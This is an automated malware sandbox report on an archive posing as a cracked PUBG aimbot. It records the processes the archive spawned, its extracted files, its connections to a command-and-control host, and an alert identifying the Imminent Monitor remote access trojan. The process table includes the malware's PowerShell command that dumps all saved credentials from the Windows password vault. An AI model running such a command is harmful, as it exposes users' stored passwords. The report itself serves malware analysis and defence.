File name: | pubg-smert-aimbot-cracked.rar |
Full analysis: | https://app.any.run/tasks/ea5a1b99-5b03-4ad2-b9dd-aae415441217 |
Verdict: | Malicious activity |
Threats: | Remote access trojans (RATs) are a type of malware that enables attackers to establish complete to partial control over infected computers. Such malicious programs often have a modular design, offering a wide range of functionalities for conducting illicit activities on compromised systems. Some of the most common features of RATs include access to the users’ data, webcam, and keystrokes. This malware is often distributed through phishing emails and links. |
Analysis date: | December 18, 2018, 08:02:01 |
OS: | Windows 7 Professional Service Pack 1 (build: 7601, 32 bit) |
Tags: | |
Indicators: | |
MIME: | application/x-rar |
File info: | RAR archive data, v5 |
MD5: | EC02608CF26A47FDE38AC7E154BCE15C |
SHA1: | 2350B372CB6FAB596B2328B5A9979962B3416A25 |
SHA256: | 03C228BD741F0671D866475CC042C8BFFC49D5F6E69552051ADB64454001F508 |
SSDEEP: | 49152:tGHpCastwNwJxLCFPA/FqBiZUHNpBaxxun8Fd5ttrQZd+9:tGHyw2PkAQBiZWNyxwq5ttrR9 |
.rar | | | RAR compressed archive (v5.0) (61.5) |
---|---|---|
.rar | | | RAR compressed archive (gen) (38.4) |
PID | CMD | Path | Indicators | Parent process |
---|---|---|---|---|
2996 | "C:\Program Files\WinRAR\WinRAR.exe" "C:\Users\admin\AppData\Local\Temp\pubg-smert-aimbot-cracked.rar" | C:\Program Files\WinRAR\WinRAR.exe | — | explorer.exe |
User: admin Company: Alexander Roshal Integrity Level: MEDIUM Description: WinRAR archiver Exit code: 0 Version: 5.60.0 | ||||
3860 | "C:\Users\admin\Desktop\PUBG Smert Aimbot Cracked\PUBG aimbot Smert Cracked.exe" | C:\Users\admin\Desktop\PUBG Smert Aimbot Cracked\PUBG aimbot Smert Cracked.exe | explorer.exe | |
User: admin Company: pubgcnhacks.com Integrity Level: HIGH Description: PUBG aimbot Smert Cracked.exe Version: 1.01 | ||||
2092 | C:\Windows\system32\wbem\WmiApSrv.exe | C:\Windows\system32\wbem\WmiApSrv.exe | — | services.exe |
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: WMI Performance Reverse Adapter Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2280 | "C:\Windows\regedit.exe" | C:\Windows\regedit.exe | — | explorer.exe |
User: admin Company: Microsoft Corporation Integrity Level: MEDIUM Description: Registry Editor Exit code: 3221226540 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3356 | "C:\Windows\regedit.exe" | C:\Windows\regedit.exe | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Registry Editor Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3904 | "cmd.exe" | C:\Windows\system32\cmd.exe | — | PUBG aimbot Smert Cracked.exe |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 4294967295 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
2472 | powershell.exe "[void][Windows.Security.Credentials.PasswordVault,Windows.Security.Credentials,ContentType=WindowsRuntime];(new-object Windows.Security.Credentials.PasswordVault).RetrieveAll() | % { $_.RetrievePassword(); $_ }" | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows PowerShell Exit code: 1 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
2700 | "C:\Windows\System32\cmd.exe" | C:\Windows\System32\cmd.exe | explorer.exe | |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: Windows Command Processor Exit code: 3221225786 Version: 6.1.7601.17514 (win7sp1_rtm.101119-1850) | ||||
1268 | netstat -nb | C:\Windows\system32\NETSTAT.EXE | — | cmd.exe |
User: admin Company: Microsoft Corporation Integrity Level: HIGH Description: TCP/IP Netstat Command Exit code: 0 Version: 6.1.7600.16385 (win7_rtm.090713-1255) | ||||
3872 | C:\Windows\system32\wbem\WmiApSrv.exe | C:\Windows\system32\wbem\WmiApSrv.exe | — | services.exe |
User: SYSTEM Company: Microsoft Corporation Integrity Level: SYSTEM Description: WMI Performance Reverse Adapter Version: 6.1.7600.16385 (win7_rtm.090713-1255) |
PID | Process | Filename | Type | |
---|---|---|---|---|
2996 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2996.15602\PUBG Smert Aimbot Cracked\FastColoredTextBox.dll | — | |
MD5:— | SHA256:— | |||
2996 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2996.15602\PUBG Smert Aimbot Cracked\FIx error\Fix.html | — | |
MD5:— | SHA256:— | |||
2996 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2996.15602\PUBG Smert Aimbot Cracked\GifLib.dll | — | |
MD5:— | SHA256:— | |||
2996 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2996.15602\PUBG Smert Aimbot Cracked\LZLoader.dll | — | |
MD5:— | SHA256:— | |||
2996 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2996.15602\PUBG Smert Aimbot Cracked\MaxMind.Db.dll | — | |
MD5:— | SHA256:— | |||
2996 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2996.15602\PUBG Smert Aimbot Cracked\Mono.Nat.dll | — | |
MD5:— | SHA256:— | |||
2996 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2996.15602\PUBG Smert Aimbot Cracked\Newtonsoft.Json.dll | — | |
MD5:— | SHA256:— | |||
2996 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2996.15602\PUBG Smert Aimbot Cracked\PUBG aimbot Smert Cracked.exe | — | |
MD5:— | SHA256:— | |||
2996 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2996.15602\PUBG Smert Aimbot Cracked\RANDOM ..170 RS accounts on the house lol.txt | — | |
MD5:— | SHA256:— | |||
2996 | WinRAR.exe | C:\Users\admin\AppData\Local\Temp\Rar$DRa2996.15602\PUBG Smert Aimbot Cracked\READ ME FIRST.txt | — | |
MD5:— | SHA256:— |
PID | Process | IP | Domain | ASN | CN | Reputation |
---|---|---|---|---|---|---|
3860 | PUBG aimbot Smert Cracked.exe | 45.55.57.244:443 | www.iptrackeronline.com | Digital Ocean, Inc. | US | malicious |
3860 | PUBG aimbot Smert Cracked.exe | 120.148.191.110:9003 | lol1342343.ddns.net | Telstra Pty Ltd | AU | malicious |
Domain | IP | Reputation |
---|---|---|
lol1342343.ddns.net |
| malicious |
www.iptrackeronline.com |
| shared |
PID | Process | Class | Message |
---|---|---|---|
3860 | PUBG aimbot Smert Cracked.exe | A Network Trojan was detected | MALWARE [PTsecurity] Imminent Monitor RAT (outbound) |